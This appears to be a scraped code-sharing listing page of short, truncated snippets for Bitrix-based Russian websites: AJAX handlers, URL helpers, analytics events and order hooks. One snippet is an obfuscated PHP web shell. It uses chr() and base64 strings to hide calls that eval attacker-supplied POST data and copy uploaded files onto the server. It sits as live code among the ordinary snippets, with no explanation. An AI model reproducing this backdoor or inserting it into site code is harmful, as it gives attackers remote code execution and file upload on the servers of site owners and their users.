This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$days = intval($arElement["PROPERTY_TERM_VALUE"]); | |
if($days == "год") | |
$days = 365; | |
elseif($days == '10 дней') //обратная совместимость :) | |
$days = 10; | |
elseif($days == '20 дней') | |
$days = 20; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function insertParam(key, value, search) | |
{ | |
key = encodeURI(key); value = encodeURI(value); | |
search = search.toString(); | |
if(search=='') | |
search = document.location.search; | |
if(search[0]=="?") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php'); | |
use \Bitrix\Main\Application; | |
use \Bitrix\Main\Web\Json; | |
$request = Application::getInstance()->getContext()->getRequest(); | |
if($request->isAjaxRequest() && check_bitrix_sessid()){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* При открытии формы «Заказать звонок» | |
* При успешной отправке формы «Заказать звонок» | |
* При отправке формы «Записаться на консультацию» | |
* При отправке заявки «Записаться на консультацию» | |
* @param eventAction | |
* @param eventCategory | |
*/ | |
function gtm_myDataLayer(eventAction,eventCategory) { | |
dataLayer.push({ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function makeCallback(id){ | |
return function(suggestion){ | |
var code = ''; | |
if(!!suggestion.data.settlement_kladr_id) { | |
code = suggestion.data.settlement_kladr_id; | |
}else if(!!suggestion.data.city_kladr_id){ | |
code = suggestion.data.city_kladr_id; | |
} | |
var obj = { | |
value: suggestion.value, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function my_OnSaleOrderSaved(Main\Event $event){ | |
$order = $event->getParameter('ENTITY'); | |
$isNew = $event->getParameter('IS_NEW'); | |
$propsCollection = $order->getPropertyCollection(); | |
if($isNew){ | |
$out = ''; | |
$arProps = array(); | |
foreach($propsCollection->getGroupProperties(1) as $prop){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php'); | |
use \Bitrix\Main\Loader; | |
use \Bitrix\Main\Web\Json; | |
use \Bitrix\Main\Application; | |
use \F5Studio\Application\Application as App; | |
$request = Application::getInstance()->getContext()->getRequest(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
use Bitrix\Main; | |
spl_autoload_register( | |
function ($class) { | |
$class = str_replace('\\', '/', $class); | |
include $_SERVER["DOCUMENT_ROOT"] . "/local/php_interface/classes/" . $class . '.php'; | |
} | |
); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
protected static function getShipmentsInfo(Order $order) | |
{ | |
$result = array(); | |
$shipments = $order->getShipmentCollection(); | |
/** @var \Bitrix\Sale\Shipment $shipment */ | |
foreach($shipments as $shipment) | |
{ | |
if($shipment->isSystem()) | |
continue; |
OlderNewer